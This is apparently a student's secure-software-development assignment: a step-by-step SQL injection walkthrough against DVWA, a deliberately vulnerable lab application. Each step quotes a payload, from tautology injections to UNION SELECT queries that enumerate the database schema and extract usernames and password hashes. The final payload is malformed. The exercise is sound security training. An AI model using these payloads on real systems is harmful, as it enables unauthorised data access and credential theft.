Bryan Velez Moreno

**Assigment #5 Secure Software Development**

* **Login into DVWA**

Graphical user interface, application, website

Description automatically generated

* **Change DVWA security from imposible to low**

Graphical user interface, text, application

Description automatically generated

* **Insert 1 into UserID textfield**

Graphical user interface, text

Description automatically generated

* **Inserting w' OR '1' = '1 to try the first SQL injection to get all users from the database**Graphical user interface, text

  Description automatically generated
* **Inserting w' OR '1' = '1' AND first\_name <> 'admin to get every entry in the database except admin**

Graphical user interface

Description automatically generated

* **Run SQL injection to get version using SQL query ' UNION SELECT VERSION(), NULL#**

Graphical user interface, text

Description automatically generated

* **Run SQL injection to get the host name using SQL query ' UNION SELECT @@hostname, NULL#**

Graphical user interface, text, website

Description automatically generated

* **Combining both queries from previous steps to get the version and the host name ' UNION SELECT VERSION(), @@hostname#**

Graphical user interface

Description automatically generated

* **Getting current user that is running the commands in the backend with ' UNION SELECT CURRENT\_USER(), USER()#**

Graphical user interface, website

Description automatically generated

* **Get what database is currently being used with ' UNION SELECT DATABASE(), NULL#**

Graphical user interface, website

Description automatically generated

* **to select all databases use ' UNION SELECT SCHEMA\_NAME, NULL FROM information\_schema.schemata#**

Graphical user interface, text

Description automatically generated

* **get all tables from information\_schema ' UNION SELECT TABLE\_NAME, NULL FROM information\_schema.tables#**

Graphical user interface

Description automatically generated

* **get columns information from USERS table in the database using ' UNION SELECT CONCAT(COLUMN\_NAME, 0x0A, DATA\_TYPE), CHARACTER\_MAXIMUM\_LENGTH FROM information\_schema.columns WHERE table\_name='users'#**

Graphical user interface

Description automatically generated

* **Get user,password fields from USER table using ' UNION SELECT CONCAT(COLUMN\_NAME, ' UNION SELECT first\_name, CONCAT(user, 0x0A, password) FROM users#**

Graphical user interface, text

Description automatically generated